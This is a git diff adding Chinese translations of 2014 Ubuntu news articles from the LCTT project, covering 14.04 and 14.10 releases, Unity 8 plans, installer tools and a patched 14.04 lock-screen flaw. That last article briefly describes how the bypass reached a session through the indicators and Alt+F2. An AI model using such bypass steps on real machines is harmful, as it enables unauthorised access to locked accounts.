原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/Ubuntu 14.04 Server Brings Virtualization, Automation, Storage Updates.md b/published/201405/Ubuntu 14.04 Server Brings Virtualization, Automation, Storage Updates.md new file mode 100644 index 0000000000..aafdd5cd03 --- /dev/null +++ b/published/201405/Ubuntu 14.04 Server Brings Virtualization, Automation, Storage Updates.md @@ -0,0 +1,36 @@ +Ubuntu 14.04服务器版提供了虚拟化、自动化、存储相关更新 +================================================================================ +> 这次发布的Ubuntu 14.04,代号Trusty Tahr(值得信赖的塔尔羊),将会给服务器版用户带来新的自动化,虚拟化和存储相关特性。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/04/ubuntulogo.png) + +[Ubuntu 14.04][1], 是由[Canonical][2]推出的基于Linux的开源操作系统最新版本,没有为PC和移动用户带来太大改动,对他们来说仅仅是较少的更新。而对服务器用户,这次最新的最重大的Ubuntu版本更新带来了更多功能,特别在自动化,云计算,以及虚拟化等方面。 + +对桌面和移动用户来说,这次即将在4月17日正式露面的Ubuntu14.04的最重大的改动是,**它带来了AppArmor安全系统的更新**。这个在桌面/移动版本中最重要的新特性,是一个运行在后台的内核强化包,那些在个人电脑,手机或者平板上使用Ubuntu的人们在Ubuntu 14.04版本中也许根本感觉不到什么大的改动。 + +然而,在服务器世界里,最新版的Ubuntu带来了更实质性的改动。特别是,**它将[Puppet][3]升级到了第3版**,Puppet是一个用来自动化IT基础设施管理的开源平台。这是个重要的更新,能够为部署大型Ubuntu服务器网络的人们带来便利(不过是在他们解决好Puppet早期版本和最新版之间的兼容性问题之后,新旧版本之间并不互相完全兼容)。 + +Ubuntu 14.04还将带来开源的**虚拟化管理程序[Xen][6]的4.4版本**。这次改动,对于旧版的Xen部署环境也需要做一些必要的调整,才可以切换到新版本上。不过,它提供了更多的新特性,而且可以协助管理Ubuntu服务器上虚拟环境的多样性,包括众多的虚拟化管理程序,[VMware][4] (VMW),[KVM][5],Xen等等。 + +最后,Ubuntu 14.04的内核基于[Linux][7] 3.13,也带来了比如更好的固态硬盘(SSD)性能等[新特性][8]。这也是很受服务器用户欢迎的,特别是那些在云和大数据领域里对性能有很高要求的用户。 + +这次的Ubuntu 14.04是一个[长期支持][9](LTS)版本,这也是服务器用户最有可能长期使用于生产环境的版本,而非LTS版本对于实际生产环境来说没有任何意义。尽管Canonical持续地集中精力于在PC和移动设备上"[统一][10]"的努力,这次Ubuntu带来的自动化,虚拟化和存储软件的更新在合适的时间点推出,有利于维持Ubuntu在服务器市场的竞争力。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/servers/041514/ubuntu-1404-server-brings-virtualization-automation-storage-updates + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://releases.ubuntu.com/14.04/ +[2]:http://www.canonical.com/ +[3]:http://puppetlabs.com/ +[4]:http://vmware.com/ +[5]:http://www.linux-kvm.org/ +[6]:http://xen.org/ +[7]:http://kernel.org/ +[8]:http://thevarguy.com/open-source-application-software-companies/linux-kernel-updates-add-features-mobile-cloud-big-data +[9]:https://wiki.ubuntu.com/LTS +[10]:http://thevarguy.com/open-source-application-software-companies/can-canonical-rally-its-community-ubuntu-convergence diff --git a/published/201405/Ubuntu 14.10 (Utopic Unicorn) Daily Images Now Available for Download.md b/published/201405/Ubuntu 14.10 (Utopic Unicorn) Daily Images Now Available for Download.md new file mode 100644 index 0000000000..fcc64872d9 --- /dev/null +++ b/published/201405/Ubuntu 14.10 (Utopic Unicorn) Daily Images Now Available for Download.md @@ -0,0 +1,31 @@ +Ubuntu 14.10(乌托邦独角兽)的每日构建镜像已可下载 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-10-Utopic-Unicorn-Daily-Images-Now-Available-for-Download-439725-2.jpg) + +**Canonical公司刚刚发布了第一个Ubuntu14.10(乌托邦独角兽)的每日镜像,而且开发工作也开始了。** + +Ubuntu的开发者已经开始进行开发下一个版本的工作,第一个开发版的镜像已经完成。不要对新的Ubuntu构建抱有太多期望,至少在现在是这样的。两个月之后我们才能看到重大的变化。 + +如果你现在启动这个版本,它仍然会显示为Ubuntu14.04,可以看出这个版本只是一个占位符,它的特点将来会实现。 + +“Debian的第一个自动同步开始运行了,所以不要过于激动和手动同步一些东西,自动机制将会接下来进行。这个自动同步将会让我们痛苦好几天。请耐心点,上传你的合并内容,不用去管队列。你会感谢我的。你甚至可能想出去散散步,呼吸呼吸新鲜空气,喂喂鸭子等等做一些类似的事”,Adam Conrad在邮件列表中这样说。 + +开发者解释说,ruby-defaults已经更新到了2.1版本,boost-defaults更新到了 .55版本,加入了一个新的编译快照,其他的包也都收到了一些“小独角兽”(这可能是个设定,让所有开发者的贡献都用双关语列出)。 + +对于某些开发者来说,Ubuntu14.10(乌托邦独角兽)也会是一个很完美的版本,这些开发者想推动一些更新,那些更新在Ubuntu14.04(值得信赖的塔尔羊)中没有加入或因为某些理由被拒绝。对于新的包,这是一个完美的练习场,使用者可能在最终版本中看到一些很有趣的东西。 + +“我知道在LTS版本之后的版本中可以做一些令人兴奋的新尝试,而不用像在LTS中被发布团队背后死死盯着而不能做你想做的那些试验。我相信这一次也不例外。所以,玩的开心,快乐上传,然后去修复你的每个上传的所带来的更多漏洞吧。”Adam Conrad还这样说。 + +用户现在看不到任何新的东西,这个镜像主要是用于开发。你可以从Ubuntu官方[服务器][1]上下载。 + +记住这只是开发版,不要安装在工作的机器上。它仅仅用于测试。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-14-10-Utopic-Unicorn-Daily-Images-Now-Available-for-Download-439725.shtml + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://cdimage.ubuntu.com/daily-live/current/ diff --git a/published/201405/Ubuntu 14.10 (Utopic Unicorn) Now Based on Linux Kernel 3.15 RC5.md b/published/201405/Ubuntu 14.10 (Utopic Unicorn) Now Based on Linux Kernel 3.15 RC5.md new file mode 100644 index 0000000000..9536b6425b --- /dev/null +++ b/published/201405/Ubuntu 14.10 (Utopic Unicorn) Now Based on Linux Kernel 3.15 RC5.md @@ -0,0 +1,41 @@ +Ubutun14.10(代号“独角兽”)已基于3.15 RC5版本的linux内核 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-10-Utopic-Unicorn-Now-Based-on-Linux-Kernel-3-15-RC5-443260-2.jpg ) + +**Ubuntu 14.10(代号“独角兽”)的开发已于数周前开始,现在开发者们已经做出了第一个重大的改变即使用新的Linux内核版本。** + +通常情况下,下一版本Ubuntu的开发是基于上一个发布的版本,如Ubuntu 14.04 LTS。开发小组开始向Linux内核当中加入新的软件包,通常是那些没来得及放到之前的版本的软件包。Linux发行版其中最重要的组件之一是linux内核,现在也更新了。 + +Ubuntu 14.04 LTS附带的是3.13的linux内核,开发者们并没有机会将3.14版本的加入其中,它放出的时间太晚以致没有足够的时间去做测试。到现在为止,Ubuntu开发小组也没有说明最终发布版本会使用哪个内核版本,但是他们实现了在3.15内核版本下的编译,即使它仍旧在开发当中。 + +在一个Ubuntu内核小组的会议当中[Joesph Salisbury宣布][1]:“我们往Utopic的归档中上传了第一个基于3.15版本的内核,3.10.0-1.5,它现在是基于3.15-rc5的最新linux内核版本。” + +除非3.16的内核版本在Ubuntu 14.10的内核截止日(错过这个日期点,新的内核不会被提交)之前现身,否则到10月之前,能够实现的很有可能就是这个版本了。 + +如果没有什么意外发生,每个内核的开发迭代在8到10个候选版本之间,但是这个数目是不定的。Linus Torvalds平均每周会发布一个RC候选版本,但也不是固定不变的。比如,发布3.15系列的候选之后将近两周没有新的版本发布了。 + +参考Ubuntu 12.04.5 LTS版本的惯例,Ubuntu 14.04.1将会在接下来的几个月当中发布,内核截止的日期只有5周左右了。 + +Ubuntu 14.10(代号“独角兽”)号称它会成为一个很有趣的版本,而且已经带来了一个新的特色:Unity 8和Mir两种版本都会作为常规版本中的一员。 + +如果你真的想知道将来的Ubuntu 14.10 版本发生了哪些改变,你可以[下载每日更新的版本][2]试试看。现在来看它和Ubuntu 14.04 LTS版本很类似,但是很快它将变的不同! + +### 下载 ### + +- [Ubuntu 14.10 Daily Build (ISO) 64-bit][3][iso] [965 MB] +- [Ubuntu 14.10 Daily Build (ISO) 32-bit][4][iso] [971 MB] +- [Ubuntu 14.10 Daily Build (ISO) 64-bit Mac][5][iso] [963 MB] + +-------------------------------------------------------------------------------- + +Via: http://news.softpedia.com/news/Ubuntu-14-10-Utopic-Unicorn-Now-Based-on-Linux-Kernel-3-15-RC5-443260.shtml + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer ) 校对:[wxy](https://github.com/wxy ) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject ) 原创翻译,[Linux中国](http://linux.cn/ ) 荣誉推出。 +   +[1]: https://lists.ubuntu.com/archives/ubuntu-devel/2014-May/038305.html +[2]:http://linux.softpedia.com/get/Linux-Distributions/Ubuntu-Utopic-Unicorn-103418.shtml +[3]:http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-amd64.iso +[4]: http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-i386.iso +[5]: http://cdimage.ubuntu.com/daily-live/current/utopic-desktop-amd64+mac.iso diff --git a/published/201405/Ubuntu 14.10 to Be Called Utopic Unicorn.md b/published/201405/Ubuntu 14.10 to Be Called Utopic Unicorn.md new file mode 100644 index 0000000000..894c210a5d --- /dev/null +++ b/published/201405/Ubuntu 14.10 to Be Called Utopic Unicorn.md @@ -0,0 +1,36 @@ +Ubuntu 14.10 —— 来自乌托邦的独角兽 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-14-10-to-Be-Called-Utopic-Unicorn-439028-2.jpg) + +**Mark Shuttleworth,Canonical 的创始人,已经为 Ubuntu 的下一个版本 (14.10) 起好了名字,新版本的名字将是乌托邦的独角兽。** + +Ubuntu 的开发者们并不经常在两个开发周期之间停顿太久,也就是说 Ubuntu 14.10 的工作将可能在最近的某一天开始,并经过六个月的时间,在 2014 年十月份放出一个新的版本。 +当然,她不会是一个 LTS 版本,但是 Mark Shuttleworth 希望其开发团队尽可能的试水新的尝试,以为将来的迈进做准备。 + +“拿出你的最佳表现给大家,展现给论坛,展现给邮件列表,我们要做些出色的事情。一些和谐而大气的事情,一些我们可以一直引以为傲的事情。由于我们正处于两年一次的崭新开始,可以不受拘束的展望下未来的情景,我们同样可以给她一个梦幻的名字。让我们骑上来自乌托邦的独角兽。刺向未来,” Mark Shuttleworth 在他的例行[发布会][1]上说道。 + +乌托邦的独角兽这个名字的确有些出人意料。先前的名字从来没带有如此的神秘色彩,也就造就了 Ubuntu 14.10 这一独特的版本。或许他本人没法找到一个有趣而有真正存在的动物来命名,或者他仅仅是无法抗拒独角兽的魅力。 + +Canonical 并没有像 Fedora 那样将命名权交给社区。如此一来也就有可能会产生这样奇怪的名字,或许有天 Ubuntu 将会得到些没人喜欢的奇怪开发代号(译注:Fedora的开发代号好像更奇怪,那个xx家的猫,居然还用个四字节的unicode字符,译者从来没有见到过的,有木有)。 + +从 Mark Shuttleworth 的帖子中所描述的来看,就像是给开发者做出的变动打了张空头支票。 +这并不代表下一代 Ubuntu 将会截然不同,但单单从系统将被支持九个月时间上来看,他们或许会很了劲儿的折腾一票。 + +“LTS 版本将会约束我们的创造力 —— 我们的用户虽然更乐意于巩固性能、稳定和可维护性,但我们更倾向于技术累赘的清扫。这个清扫的目的是为新的创意与设计腾出空间,并为下个版本添砖加瓦。这将是个多么壮观释放创造力的时刻啊,” Mark Shuttleworth 也这么提到。 + +同时 Ubuntu 的开发者们也十分可能会尝试向多平台整合的目标靠拢直至所有平台使用同一代码库。 +这虽然不会在这个开发周期准备就需,但我们很可能能看到一些主要的改进。 + +乌托邦独角兽万岁! + +(译者注:由于马克叔风骚的文笔,译者正在去往医院抢救的路上……精通英文者建议看原文) + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-14-10-to-Be-Called-Utopic-Unicorn-439028.shtml + +译者:[VizV](https://github.com/VizV) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.markshuttleworth.com/archives/1363 diff --git a/published/201405/Ubuntu AIO DVD Puts All Ubuntu 14.04 Flavors In One Disk.md b/published/201405/Ubuntu AIO DVD Puts All Ubuntu 14.04 Flavors In One Disk.md new file mode 100644 index 0000000000..4b61b43082 --- /dev/null +++ b/published/201405/Ubuntu AIO DVD Puts All Ubuntu 14.04 Flavors In One Disk.md @@ -0,0 +1,38 @@ +神器!将 Ubuntu 14.04 的所有分支刻录到一张DVD +================================================================================ +Ubuntu 有基于不同桌面环境的几个官方版本。默认的 Ubuntu 自带 Unity 桌面,Kubuntu 则是[KDE] [1],Lubuntu 用[LXDE] [2],Xubuntu 自带[Xfce] [3]。除此之外,还有一些其它的版本,但这些是最流行的官方桌面版本。 + +你该如何选择最适合你的 Ubuntu?一种方法是下载 Ubuntu 不同版本的 ISO 镜像并且[通过Live CD或者USB实时运行] [4]。但是,这将意味着你将会下载多个 ISO 文件,一个个地写入 USB 盘或者 Live CD。有点麻烦,是吧? + +这就是[Ubuntu AIO(ALL IN ONE)][5]出现的原因。该项目是由[Start Ubuntu] [6]小组部分成员发起的,Ubuntu 的 AIO DVD 可以让你在一张光盘或者一个U盘中尝试 Ubuntu Unity,Lubuntu,Xubuntu,Kubuntu 和 Ubuntu Gnome 等不同版本。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Ubuntu-AIO-DVD.jpg) + +当然 Ubuntu AIO 也有一些缺点。首先它体积太大了,有将近4.7GB。所以,它不适合于标准的4GB U盘(你得刻录到光盘,或者虚拟光盘)。而且它只有两个版本,第一个是64位版本,包括有 Ubuntu,Kubuntu 和 Ubuntu Gnome,另外一个,则包含有32位版本的 Xubuntu 和 Lubuntu。尽管有缺点,这是一个不错的项目,可以帮助我们选择恰当的 Ubuntu 版本。 + +下载 Ubuntu AIO DVD + +- [Sourceforge][7] +- [Softpedia][8] + +[点此][9]了解更多。 + +享受 Ubuntu 吧! + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ubuntu-aio-dvd-puts-ubuntu-1404-flavors-disk/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.kde.org/ +[2]:http://lxde.org/ +[3]:http://www.xfce.org/ +[4]:http://itsfoss.com/create-live-usb-of-ubuntu-in-windows/ +[5]:http://ubuntuaio.wordpress.com/about-us/ +[6]:https://wiki.ubuntu.com/StartUbuntu +[7]:http://sourceforge.net/projects/ubuntuaiodvd/ +[8]:http://linux.softpedia.com/get/Linux-Distributions/Ubuntu-AIO-DVD-103429.shtml +[9]:http://ubuntuaio.wordpress.com/about-us/ diff --git a/published/201405/Ubuntu After Install--Automate the Installation of all popular softwares On Ubuntu 14.04 or 13.10 or 13.04 or 12.10 or 12.04.md b/published/201405/Ubuntu After Install--Automate the Installation of all popular softwares On Ubuntu 14.04 or 13.10 or 13.04 or 12.10 or 12.04.md new file mode 100644 index 0000000000..383154d83c --- /dev/null +++ b/published/201405/Ubuntu After Install--Automate the Installation of all popular softwares On Ubuntu 14.04 or 13.10 or 13.04 or 12.10 or 12.04.md @@ -0,0 +1,99 @@ +Ubuntu After Install – 帮你在Ubuntu上自动安装流行的软件 +================================================================================ + +在你刚刚更新或者是安装了一个新的Ubuntu桌面版之后,你是不是想安装一些有用的并且必要的软件呢?当然。但是,为了打造一个完美的Ubuntu系统,你会需要付出很大的努力。你还会吗?你会怎么去做?你真的会去手动通过添加软件源或者是下载**.deb**包去寻找和安装每一个软件?或者不分青红皂白安装所有的软件?我觉得这将是一个漫长的过程,并且你们也不知道你们需要什么软件去打造这么一个完美的Ubuntu桌面。 + +好的,如果有一个简单的工具能让你达到上面的目的,且只需要你点击两下鼠标,你会怎么做?这真会有一个简单的并且有趣的工具,帮助我们安装所有的必须和流行的软件,并且只需要双击鼠标?是的,还真有。为了满足你的好奇心,我可以很负责任的告诉你,这就是**Ubuntu After Install**。 + +**Ubuntu After Install**是用来在安装Ubuntu桌面之后安装一些最好的和必要的软件的工具。还有,它还包含了许多有用的应用程序,并且可以自动执行安装过程新安装的机器,让它接近完美的桌面。我不敢说它可以提供给所有用户一个完美的桌面,但一个近乎完美的桌面绝对是可以的。这个工具不仅可以节省您的时间和精力,而且会自动添加相应的PPA来自动更新,让你始终使用着最新的软件。 + +**Ubuntu After Install**会安装的软件的完整名单如下: + +- **Ubuntu Restricted Extras**: 视频解码和Flash支持 +- **libdvdcss** DVD重放 +- **Unity Tweak Tool** 优化你的Ubuntu桌面 +- **Variety** Ubuntu桌面壁纸切换 +- **Google Chrome** 可能是世界上最好的浏览器 +- **LibreOffice** 完全开源的办公软件 +- **Skype** 提供文字,声音,视频聊天 +- **Grive Tools** 同步你的Google Driver +- **DropBox** 同步你的DropBox存储 +- **VLC** 能播放你能想象的视频文件 +- **XBMC** 一个媒体中心软件 +- **Radio Tray** 一款不错的基于面板的广播系统 +- **GIMP** 强大的图片编辑软件 +- **Darktable** 允许摄影师编辑RAW文件 +- **Inkscape** 开源矢量图形编辑软件 +- **Scribus** 专业的桌面发布软件 +- **Samba** 允许Windows网络共享 +- **PDF Tools** 合并、剪切、添加、修改PDF文档工具 +- **OpenShot** 流行的视频编辑软件 +- **Kdenlive** 更加先进的视频编辑软件 +- **Handbrake** 将视频和DVD转换为移动端可播放格式 +- **Audacity** 声音,音乐编辑工具 +- **Steam** Linuxu游戏平台 +- **KeePass** 安全的储存你的密码 +- **Shutter** 让你很容易的截屏 +- **FileZilla** FTP工具 +- **p7zip** 强大的7zip压缩/解压工具 +- 还有一些即将到来的新特性 + +### 在Ubuntu 12.04或者更新一些的系统上 安装‘Ubuntu After Install’ ### + +添加‘Ubuntu After Install’ PPA 并且执行以下命令 + + sudo add-apt-repository ppa:thefanclub/ubuntu-after-install + sudo apt-get update + sudo apt-get install ubuntu-after-install + +你也可以从[这里][1]手动下载 .deb 文件,并且手动安装。 + +### 使用说明 ### + +安装完Ubuntu-After-Install之后,你只需要从Dash或者菜单里启动他即可。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Menu_001.png) + +这就是Ubuntu-after-install的外观。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Ubuntu-After-Install-2.4-beta_002.png) + +正如你在上面的截图中看到,它会显示所有有用的软件。已经被安装了软件会标有绿色的色点,且默认不会选中。如果某一款软件不适用于您的Ubuntu版本,那么它将被标记为红色圆点。还有,标志着橙色的软件则是需要重新安装和更新的。清楚了吗? + +现在,选择您想要安装并按下按钮**立即安装**。所选软件的PPA将会自动添加到系统中,并且也会在系统上自动安装。听起来不错,不是吗? + +例如,在这里我只想安装在我的Ubuntu14.04系统上安装p7zip。所以我只选择了p7zip的包,并取消其他的程序。只需要轻轻点击**立即安装**按钮,就可以开始安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Ubuntu-After-Install-2.4-beta_003.png) + +现在,安装程序会在你电脑上自动添加p7zip的PPA并且安装它。而且一切都将自动在后台完成。所以,你什么都不需要做。只需要,要放松心情,喝杯咖啡,观看安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Ubuntu-After-Install-2.4-beta_004.png) + +如果软件已经安装成功,它将被标记为绿色的色点。请记住,一次安装所有的应用程序将需要一段时间取决于您的Internet连接速度来完成的,这是安装过程一旦开始,强行取消是非常不可取的。 + +### 结论 ### + +在之前,我们刚刚提到了[Ubuntu Tweak][2]。 **Ubuntu Tweak**和**Ubuntu After Install**是类似的工具, 但是Ubuntu Tweak有着比Ubuntu After Install更多的特点。 Ubuntu After Tool只是为了帮你安装了所有最好的和日常使用的软件, 而Ubuntu的调整工具会做对额外的东西,如定制您的Ubuntu桌面和更多。 + +不要再在网络上寻找所谓的Ubuntu必备软件上浪费你的宝贵的时间。Ubuntu Tweak和Ubuntu After Install就是为了帮助那些正在寻找Ubuntu必备软件的人准备的。所以,不要再犹豫,马上使用它们! + +希望能帮助到你,就说这么多了。 + +祝你好运! + +来源与参考: + +- [The Fan Club Website][3] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/ubuntu-install-automate-installation-popular-softwares-ubuntu-14-0413-1013-0412-1012-04/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.thefanclub.co.za/sites/all/modules/pubdlcnt/pubdlcnt.php?file=http://www.thefanclub.co.za/sites/default/files/public/downloads/ubuntu-after-install_2.4_all.deb&nid=121 +[2]:http://www.unixmen.com/after-a-fresh-install-of-ubuntu-1010-maverick-meerkat-configuration-made-easy-with-ubuntu-tweak/ +[3]:http://www.thefanclub.co.za/how-to/ubuntu-after-install \ No newline at end of file diff --git a/published/201405/Ubuntu Developers Propose a New Flavor Based Only on Unity 8.md b/published/201405/Ubuntu Developers Propose a New Flavor Based Only on Unity 8.md new file mode 100644 index 0000000000..83765bf11a --- /dev/null +++ b/published/201405/Ubuntu Developers Propose a New Flavor Based Only on Unity 8.md @@ -0,0 +1,27 @@ +Ubuntu 的开发者准备开发一个仅基于 Unity 8的新风格 +================================================================================ +![Current Unity 7 desktop in Ubuntu 14.04 LTS](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Developers-Propose-a-New-Flavor-Based-Only-on-Unity-8-442262-2.jpg) + +**Ubuntu 的开发者提出将开发一个单独使用 Unity 8的新风格,以帮助他们自由的实验而不必担心搞乱操作系统稳定。** + +如果你的环境满足安装需要的话,现在可以在Ubuntu 14.04 LTS中安装体验下 Unity 8 桌面环境的预览版了。现在,新的桌面还不能在专有驱动下运行,因为它依赖于 Mir,而这玩意儿还没有获得 NVIDIA 和 AMD 的官方支持。 + +无论如何,有一个新的 Ubuntu 风格对于开发者在新的生态环境中测试他们的创意都会有巨大的帮助,而且从 USB Stick 里启动十分方便还能体验大多数的移植性应用。 + +“桌面环境开发组很希望为 Ubuntu 增加一个新的风格(嘘~,我们并不是计划现在就发行一个正式的版本),这个风格将包括为触屏项目开发的Unity 8桌面和新的应用。最初的意图是提供一个产品使得开发人员可以在做一个基于该软件的桌面产品的时候可以估算出所需要的的工作量,并建立一个可以由实验来找出所需的最佳结合方式的空间。” + +“我们仍将计划融合当前的桌面环境,但是我们不希望给用户带来不安稳和造成不便,而且希望并行的发展这个新风格可以使我们真正实现在软件已经准备就绪的时候再迁移,而不是迁移后再解决用户的原有软件的兼容问题。” Ubuntu 的开发者 Iain Lane说。 + +Ubuntu 14.04 LTS 现在默认使用 Unity 7,而且可能这至少将持续到下一个版本 Ubuntu 14.10。Ubuntu 开发者的目标是最迟在下一个 LTS:Ubuntu 16.04 中让 Unity 8 和 Mir 成为默认的配置,但是如果事情进展的顺利,我们可能会在此之前就能成功。 + +这个新风格的名字是什么还不清楚,但是如果地位确定的话,我们可能在接下来的几个月就可以得到ISO文件。这将会使得用户更容易地测试 Unity 8 ,而且可以在它成为默认配置之前体验一把。 + +当 Canonical 用 Unity 替换旧的 GNOME 2 的时候,这个转换引起的震动是如此之大,以至于直到今天在论坛中还时不时的被人提及。有一个专门的 Unity 8 风格可能会缓解这个问题。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-Developers-Propose-a-New-Flavor-Based-Only-on-Unity-8-442262.shtml + +译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201405/Ubuntu Devs Propose Creating Separate \342\200\230Unity 8 Desktop\342\200\231 Flavor to Aid Development.md" "b/published/201405/Ubuntu Devs Propose Creating Separate \342\200\230Unity 8 Desktop\342\200\231 Flavor to Aid Development.md" new file mode 100644 index 0000000000..ef2c4dd247 --- /dev/null +++ "b/published/201405/Ubuntu Devs Propose Creating Separate \342\200\230Unity 8 Desktop\342\200\231 Flavor to Aid Development.md" @@ -0,0 +1,43 @@ +Ubuntu开发者们提议创建另外风格的‘Unity 8桌面’来帮助开发 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/1.jpg) + +**Ubuntu桌面团队已经提出创建一个基于Unity 8的新风格Ubuntu桌面的想法。** + +开发者Iain Lane概括了团队邮件列表中的提议,说,这样的一个转变所带来的东西会使开发者和爱好者们同样‘来弄明白制作出一个基于可用的软件的桌面产品需要做的工作’。 + +Lane写道: + +> “桌面团队想要增加一个新的Ubuntu桌面风格(目前我们并没有计划为此发行任何正式的发行版),其中包含Unity 8桌面以及为触摸项目开发的新应用。 +> 这个想法的初衷是提供一个产品,开发者们能够使用它来弄清制作一个基于可用的软件的桌面产品需要做些什么,以及创造一片试验田来寻求解决所要求的集成问题的最佳途径。” + +### ‘默认预置于Ubuntu 16.04’ ### + +一个试验性的发行版在此刻所带来的好处是显而易见的。 + +Canonical旨在在PC上重复利用手机和平板版本的Ubuntu的代码,尽管披着更加传统的桌面环境的外衣,但这是他们走向‘convergence(融合)’计划的一部分。 + +但Unity 8在手机和平板形态上的项目仍然处于活跃开发的状态————二者都有正在来临的硬件发布————在塑造PC面貌的主要进程上相当缓慢也是可以理解的。 + +尽管有些注意事项,但Ubuntu 14.04 LTS通过一个可与现存版本一同安装的Unity 8桌面会话,提供给开发者们一个测试平板版本快照的机会。 + +通过创建一个专用的Unity 8桌面镜像,可安装会话中的许多限制能够得到缓解。一个实时会话(live session)不仅能够使测试通过live USB或CD更加容易进行,也能够允许更大范围的试验,以及尽情测试而不用有会影响到常规桌面用户的压力。 + +这个项目的一个[规划][1]表明这个新转变的镜像(.iso)‘应该会在16.04中成为一个默认选项’。 + +在大多数的人力投入仍然集中于推进移动版本的迭代使其符合标准的情况下,目前基于Compiz的版本(Unity 7,开发者称为‘现维护版本’)在可预见的未来中仍然可能被作为默认选项。 + +在桌面上过渡到Unity 8同样也取决于Mir(Canonical自行开发的显示服务器/显示协议)的时限。在[对Mir登场的乐观预测早已让步于现实][2]的情况下, 更明确的计划基本上仍然处于模糊或未宣布的状态。Mir对传统桌面工作流支持工作仍处在早期阶段,比如解决窗口合并、任务切换以及多显示器设置等。从在常规PC里测试镜像中获得帮助,看起来也是一个不错的想法。 + +如何最好地解决“click packages”(这是Unity 8/Mir应用使用的定制运行时框架);是否有足够的资源来支持开发‘另一风格’的桌面;以及这样的一个项目应该使用什么名称都还处在等待讨论的队列中。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/05/ubuntu-unity-8-desktop-flavour-discussed + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://blueprints.launchpad.net/ubuntu/+spec/client-1410-unity8-desktop-iso +[2]:http://www.omgubuntu.co.uk/2014/03/mir-default-display-server-ubuntu-2016 diff --git a/published/201405/Ubuntu Fixes Security Flaw in 14.04 LTS Lock Screen.md b/published/201405/Ubuntu Fixes Security Flaw in 14.04 LTS Lock Screen.md new file mode 100644 index 0000000000..5cfa0b59a4 --- /dev/null +++ b/published/201405/Ubuntu Fixes Security Flaw in 14.04 LTS Lock Screen.md @@ -0,0 +1,42 @@ +Ubuntu修复了14.04 LTS 上锁屏的安全漏洞 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/security-key.jpg) + +**Canonical公司已经修补了Ubuntu 14.04 LTS上一个重大的安全漏洞 — 这个漏洞可能让攻击者不需要输入密码而获取一个用户账户。** + +“[锁屏绕开][1]”问题在本周早些时候已经发表在了Launchpad上,漏洞修复[现在已经发布][2]。 + +它描述了一种方法,通过这个方法可以在没有授权的情况下访问那些使用新的Unity锁屏并处于锁屏状态的用户账户。 + +如何做呢?右键点击指示器程序直到Alt+F2快捷键能奏效。这时,你就可以发出命令,打开程序,访问日期,甚至通过运行‘**compiz –replace**‘命令打开会话。 + +漏洞演示的一个视频[可以在YouTube上看到][3]。 + +这个漏洞的攻击仅能影响到本地环境,并不能远程运行。 + +### 其他锁屏问题的修复 ### + +这个闪闪发光的新锁屏一直使Canonical的安全团队很忙。锁屏绕开问题并不是唯一被发现的漏洞。 +就在前几天由于要发布Ubuntu 14.04 LTS,[另一个重要的安全问题][4]被修复(在这种情况下,修复得非常快),这个漏洞可以在锁定的屏幕上通过触发任意一个容易可重复的崩溃强制电脑解锁。另一个基于快捷键的漏洞[当前正在修复的过程中][5]。 + +### 安全 ### + +随着受很多商业,教育机构和企业喜爱的Ubuntu LTS(长期支持版)的发布,这些问题可能是坏消息。但是,如果有问题的话,这都显示Canonical公司在应对和修复问题上是多么迅速——这是非常让人放心的。 + +这也表明了该公司在决定在七月份时只提示当前LTS用户升级到 14.04 LTS 是多么机敏。这三个月的额外的缓冲时间给ubuntu社区和它的开发者的超级英雄殿堂更多时间去检测和修复安全问题比如以上这些问题。 + +如果你正在使用Ubuntu 14.04 LTS,记得经常检查和安装更新。 + +-------------------------------------------------------------------------------- 